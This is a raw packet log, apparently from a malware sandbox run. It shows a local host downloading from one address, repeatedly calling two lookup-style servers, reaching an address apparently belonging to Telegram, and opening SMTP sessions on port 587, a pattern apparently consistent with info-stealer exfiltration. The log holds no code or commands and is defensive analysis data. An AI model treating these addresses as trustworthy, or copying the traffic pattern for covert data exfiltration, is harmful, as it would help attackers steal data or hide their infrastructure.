Nov 25, 2024 07:08:43.483803034 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.483876944 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.483930111 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.485584021 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.485649109 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.485677004 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.485728979 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.487369061 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.487436056 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.487473011 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.487519026 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.489214897 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.489283085 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.489343882 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.489453077 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.491137028 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.491200924 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.491236925 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.491295099 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.492845058 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.492909908 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.493062019 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.493124008 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.494685888 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.494756937 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.494781017 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.494836092 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.496480942 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.496543884 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.496712923 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.496768951 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.498239994 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.498292923 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.498445034 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.498495102 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.500196934 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.500255108 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.500324011 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.500375032 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.501929045 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.502037048 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.502063990 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.502140045 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.503712893 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.503801107 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.503855944 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.503935099 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.505533934 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.505598068 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.505712032 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.505764961 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.507360935 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.507417917 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.507456064 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.507522106 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:43.509114027 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:43.509176970 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:44.496153116 CET	49757	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:08:44.616455078 CET	80	49757	193.122.130.0	192.168.2.5
Nov 25, 2024 07:08:44.616797924 CET	49757	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:08:44.617152929 CET	49757	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:08:44.736517906 CET	80	49757	193.122.130.0	192.168.2.5
Nov 25, 2024 07:08:48.664309978 CET	80	49757	193.122.130.0	192.168.2.5
Nov 25, 2024 07:08:48.668427944 CET	49757	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:08:48.787942886 CET	80	49757	193.122.130.0	192.168.2.5
Nov 25, 2024 07:08:49.011686087 CET	80	49757	193.122.130.0	192.168.2.5
Nov 25, 2024 07:08:49.051470041 CET	49757	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:08:49.512783051 CET	49771	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:08:49.512824059 CET	443	49771	172.67.177.134	192.168.2.5
Nov 25, 2024 07:08:49.512904882 CET	49771	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:08:49.525090933 CET	49771	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:08:49.525110960 CET	443	49771	172.67.177.134	192.168.2.5
Nov 25, 2024 07:08:50.833847046 CET	443	49771	172.67.177.134	192.168.2.5
Nov 25, 2024 07:08:50.833928108 CET	49771	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:08:50.840512037 CET	49771	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:08:50.840545893 CET	443	49771	172.67.177.134	192.168.2.5
Nov 25, 2024 07:08:50.840862989 CET	443	49771	172.67.177.134	192.168.2.5
Nov 25, 2024 07:08:50.889857054 CET	49771	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:08:50.931339025 CET	443	49771	172.67.177.134	192.168.2.5
Nov 25, 2024 07:08:51.290860891 CET	443	49771	172.67.177.134	192.168.2.5
Nov 25, 2024 07:08:51.290923119 CET	443	49771	172.67.177.134	192.168.2.5
Nov 25, 2024 07:08:51.290967941 CET	49771	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:08:51.297472000 CET	49771	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:08:51.303636074 CET	49757	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:08:51.423131943 CET	80	49757	193.122.130.0	192.168.2.5
Nov 25, 2024 07:08:51.666965961 CET	80	49757	193.122.130.0	192.168.2.5
Nov 25, 2024 07:08:51.669145107 CET	49777	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:08:51.669173956 CET	443	49777	172.67.177.134	192.168.2.5
Nov 25, 2024 07:08:51.669235945 CET	49777	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:08:51.669495106 CET	49777	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:08:51.669512033 CET	443	49777	172.67.177.134	192.168.2.5
Nov 25, 2024 07:08:51.707734108 CET	49757	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:08:52.926265955 CET	443	49777	172.67.177.134	192.168.2.5
Nov 25, 2024 07:08:52.928733110 CET	49777	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:08:52.928800106 CET	443	49777	172.67.177.134	192.168.2.5
Nov 25, 2024 07:08:53.389440060 CET	443	49777	172.67.177.134	192.168.2.5
Nov 25, 2024 07:08:53.389524937 CET	443	49777	172.67.177.134	192.168.2.5
Nov 25, 2024 07:08:53.389584064 CET	49777	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:08:53.390019894 CET	49777	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:08:53.393361092 CET	49757	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:08:53.394454002 CET	49779	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:08:53.513222933 CET	80	49757	193.122.130.0	192.168.2.5
Nov 25, 2024 07:08:53.513294935 CET	49757	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:08:53.513942957 CET	80	49779	193.122.130.0	192.168.2.5
Nov 25, 2024 07:08:53.514012098 CET	49779	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:08:53.514131069 CET	49779	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:08:53.532586098 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:53.532670021 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:53.633529902 CET	80	49779	193.122.130.0	192.168.2.5
Nov 25, 2024 07:08:57.096506119 CET	80	49779	193.122.130.0	192.168.2.5
Nov 25, 2024 07:08:57.097814083 CET	49790	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:08:57.097848892 CET	443	49790	172.67.177.134	192.168.2.5
Nov 25, 2024 07:08:57.097922087 CET	49790	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:08:57.098181963 CET	49790	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:08:57.098196983 CET	443	49790	172.67.177.134	192.168.2.5
Nov 25, 2024 07:08:57.145241022 CET	49779	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:08:58.401362896 CET	443	49790	172.67.177.134	192.168.2.5
Nov 25, 2024 07:08:58.404525042 CET	49790	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:08:58.404547930 CET	443	49790	172.67.177.134	192.168.2.5
Nov 25, 2024 07:08:58.863354921 CET	443	49790	172.67.177.134	192.168.2.5
Nov 25, 2024 07:08:58.863425970 CET	443	49790	172.67.177.134	192.168.2.5
Nov 25, 2024 07:08:58.863512039 CET	49790	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:08:58.863926888 CET	49790	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:08:58.883029938 CET	49796	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:08:59.002578974 CET	80	49796	193.122.130.0	192.168.2.5
Nov 25, 2024 07:08:59.002758026 CET	49796	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:08:59.003117085 CET	49796	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:08:59.122575998 CET	80	49796	193.122.130.0	192.168.2.5
Nov 25, 2024 07:09:00.533708096 CET	80	49796	193.122.130.0	192.168.2.5
Nov 25, 2024 07:09:00.535398960 CET	49801	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:00.535444975 CET	443	49801	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:00.535515070 CET	49801	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:00.535758972 CET	49801	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:00.535773039 CET	443	49801	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:00.582757950 CET	49796	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:01.034914970 CET	80	49796	193.122.130.0	192.168.2.5
Nov 25, 2024 07:09:01.034982920 CET	49796	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:02.170547009 CET	443	49801	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:02.171996117 CET	49801	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:02.172019005 CET	443	49801	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:02.625159979 CET	443	49801	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:02.625226974 CET	443	49801	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:02.625329971 CET	49801	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:02.625725031 CET	49801	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:02.629108906 CET	49796	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:02.630039930 CET	49805	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:02.748961926 CET	80	49796	193.122.130.0	192.168.2.5
Nov 25, 2024 07:09:02.749521017 CET	80	49805	193.122.130.0	192.168.2.5
Nov 25, 2024 07:09:02.749602079 CET	49796	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:02.749629974 CET	49805	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:02.749855042 CET	49805	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:02.869960070 CET	80	49805	193.122.130.0	192.168.2.5
Nov 25, 2024 07:09:04.541706085 CET	80	49805	193.122.130.0	192.168.2.5
Nov 25, 2024 07:09:04.543123960 CET	49811	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:04.543174028 CET	443	49811	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:04.543243885 CET	49811	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:04.543679953 CET	49811	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:04.543695927 CET	443	49811	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:04.582755089 CET	49805	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:05.847841024 CET	443	49811	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:05.849845886 CET	49811	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:05.849883080 CET	443	49811	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:06.314585924 CET	443	49811	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:06.314660072 CET	443	49811	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:06.314723015 CET	49811	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:06.315248013 CET	49811	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:06.319096088 CET	49805	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:06.320168972 CET	49816	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:06.438947916 CET	80	49805	193.122.130.0	192.168.2.5
Nov 25, 2024 07:09:06.439062119 CET	49805	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:06.439599991 CET	80	49816	193.122.130.0	192.168.2.5
Nov 25, 2024 07:09:06.439678907 CET	49816	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:06.439815998 CET	49816	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:06.559273005 CET	80	49816	193.122.130.0	192.168.2.5
Nov 25, 2024 07:09:10.335251093 CET	80	49816	193.122.130.0	192.168.2.5
Nov 25, 2024 07:09:10.336802006 CET	49827	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:10.336862087 CET	443	49827	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:10.336940050 CET	49827	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:10.337219954 CET	49827	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:10.337240934 CET	443	49827	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:10.379710913 CET	49816	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:11.548507929 CET	443	49827	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:11.550617933 CET	49827	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:11.550662994 CET	443	49827	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:11.995457888 CET	443	49827	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:11.995537996 CET	443	49827	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:11.995590925 CET	49827	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:12.008347034 CET	49827	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:12.098777056 CET	49816	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:12.107125044 CET	49830	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:12.218674898 CET	80	49816	193.122.130.0	192.168.2.5
Nov 25, 2024 07:09:12.218760014 CET	49816	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:12.226608992 CET	80	49830	193.122.130.0	192.168.2.5
Nov 25, 2024 07:09:12.226684093 CET	49830	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:12.230806112 CET	49830	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:12.350347042 CET	80	49830	193.122.130.0	192.168.2.5
Nov 25, 2024 07:09:16.540504932 CET	80	49830	193.122.130.0	192.168.2.5
Nov 25, 2024 07:09:16.541815042 CET	49840	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:16.541877985 CET	443	49840	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:16.541944027 CET	49840	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:16.542177916 CET	49840	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:16.542195082 CET	443	49840	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:16.582726002 CET	49830	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:17.799243927 CET	443	49840	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:17.800733089 CET	49840	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:17.800786018 CET	443	49840	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:18.370050907 CET	443	49840	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:18.370142937 CET	443	49840	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:18.370223999 CET	49840	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:18.370585918 CET	49840	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:18.373733044 CET	49830	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:18.374833107 CET	49846	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:18.493511915 CET	80	49830	193.122.130.0	192.168.2.5
Nov 25, 2024 07:09:18.493618965 CET	49830	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:18.494298935 CET	80	49846	193.122.130.0	192.168.2.5
Nov 25, 2024 07:09:18.494379044 CET	49846	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:18.494518042 CET	49846	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:18.613933086 CET	80	49846	193.122.130.0	192.168.2.5
Nov 25, 2024 07:09:19.742892981 CET	80	49846	193.122.130.0	192.168.2.5
Nov 25, 2024 07:09:19.744410992 CET	49851	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:19.744448900 CET	443	49851	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:19.744519949 CET	49851	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:19.744769096 CET	49851	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:19.744790077 CET	443	49851	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:19.785995007 CET	49846	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:21.001828909 CET	443	49851	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:21.003448009 CET	49851	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:21.003470898 CET	443	49851	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:21.456033945 CET	443	49851	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:21.456087112 CET	443	49851	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:21.456130981 CET	49851	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:21.456535101 CET	49851	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:21.459453106 CET	49846	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:21.460468054 CET	49857	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:21.579404116 CET	80	49846	193.122.130.0	192.168.2.5
Nov 25, 2024 07:09:21.579483032 CET	49846	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:21.579973936 CET	80	49857	193.122.130.0	192.168.2.5
Nov 25, 2024 07:09:21.580037117 CET	49857	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:21.580137014 CET	49857	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:21.699582100 CET	80	49857	193.122.130.0	192.168.2.5
Nov 25, 2024 07:09:23.377048969 CET	80	49857	193.122.130.0	192.168.2.5
Nov 25, 2024 07:09:23.378365993 CET	49859	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:23.378407955 CET	443	49859	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:23.378488064 CET	49859	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:23.378731966 CET	49859	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:23.378747940 CET	443	49859	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:23.426517010 CET	49857	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:24.635885000 CET	443	49859	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:24.637440920 CET	49859	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:24.637527943 CET	443	49859	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:25.091128111 CET	443	49859	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:25.091197014 CET	443	49859	172.67.177.134	192.168.2.5
Nov 25, 2024 07:09:25.091267109 CET	49859	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:25.115351915 CET	49859	443	192.168.2.5	172.67.177.134
Nov 25, 2024 07:09:25.145390987 CET	49857	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:25.265171051 CET	80	49857	193.122.130.0	192.168.2.5
Nov 25, 2024 07:09:25.265228987 CET	49857	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:25.284524918 CET	49865	443	192.168.2.5	149.154.167.220
Nov 25, 2024 07:09:25.284553051 CET	443	49865	149.154.167.220	192.168.2.5
Nov 25, 2024 07:09:25.284615993 CET	49865	443	192.168.2.5	149.154.167.220
Nov 25, 2024 07:09:25.284990072 CET	49865	443	192.168.2.5	149.154.167.220
Nov 25, 2024 07:09:25.285003901 CET	443	49865	149.154.167.220	192.168.2.5
Nov 25, 2024 07:09:26.762130022 CET	443	49865	149.154.167.220	192.168.2.5
Nov 25, 2024 07:09:26.762227058 CET	49865	443	192.168.2.5	149.154.167.220
Nov 25, 2024 07:09:26.763967991 CET	49865	443	192.168.2.5	149.154.167.220
Nov 25, 2024 07:09:26.763978958 CET	443	49865	149.154.167.220	192.168.2.5
Nov 25, 2024 07:09:26.764202118 CET	443	49865	149.154.167.220	192.168.2.5
Nov 25, 2024 07:09:26.765729904 CET	49865	443	192.168.2.5	149.154.167.220
Nov 25, 2024 07:09:26.807333946 CET	443	49865	149.154.167.220	192.168.2.5
Nov 25, 2024 07:09:27.283773899 CET	443	49865	149.154.167.220	192.168.2.5
Nov 25, 2024 07:09:27.283838034 CET	443	49865	149.154.167.220	192.168.2.5
Nov 25, 2024 07:09:27.283885002 CET	49865	443	192.168.2.5	149.154.167.220
Nov 25, 2024 07:09:27.287926912 CET	49865	443	192.168.2.5	149.154.167.220
Nov 25, 2024 07:09:32.935693026 CET	49779	80	192.168.2.5	193.122.130.0
Nov 25, 2024 07:09:34.283971071 CET	49886	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:34.403430939 CET	587	49886	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:34.407120943 CET	49886	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:35.713319063 CET	587	49886	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:35.713610888 CET	49886	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:35.833054066 CET	587	49886	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:36.107814074 CET	587	49886	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:36.108850002 CET	49886	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:36.228426933 CET	587	49886	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:36.503189087 CET	587	49886	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:36.503429890 CET	49886	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:36.623008013 CET	587	49886	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:37.025199890 CET	587	49886	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:37.025454998 CET	49886	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:37.145052910 CET	587	49886	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:37.421365976 CET	587	49886	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:37.421561003 CET	49886	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:37.541027069 CET	587	49886	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:37.854011059 CET	587	49886	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:37.854224920 CET	49886	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:37.973777056 CET	587	49886	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:38.252501965 CET	587	49886	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:38.253101110 CET	49886	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:38.253148079 CET	49886	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:38.253189087 CET	49886	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:38.253202915 CET	49886	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:38.372525930 CET	587	49886	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:38.372545958 CET	587	49886	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:38.372800112 CET	587	49886	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:38.372812986 CET	587	49886	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:38.752681017 CET	587	49886	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:38.754858017 CET	49886	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:38.874293089 CET	587	49886	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:39.350253105 CET	587	49886	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:39.350368977 CET	587	49886	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:39.350442886 CET	49886	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:39.350442886 CET	49886	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:39.351444960 CET	49898	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:39.469870090 CET	587	49886	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:39.470885992 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:39.470978022 CET	49898	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:40.791296959 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:40.791568995 CET	49898	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:40.911108971 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:41.186019897 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:41.186201096 CET	49898	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:41.305798054 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:41.580845118 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:41.581089020 CET	49898	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:41.700645924 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:42.012026072 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:42.012243986 CET	49898	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:42.132164955 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:42.406829119 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:42.406996965 CET	49898	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:42.526535034 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:42.838032007 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:42.838196039 CET	49898	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:42.957676888 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:43.232280970 CET	587	49898	199.79.63.24	192.168.2.5
Nov 25, 2024 07:09:43.233573914 CET	49898	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:43.233644962 CET	49898	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:43.233670950 CET	49898	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:43.233705997 CET	49898	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:43.233752966 CET	49898	587	192.168.2.5	199.79.63.24
Nov 25, 2024 07:09:43.233783007 CET	49898	587	192.168.2.5	199.79.63.24
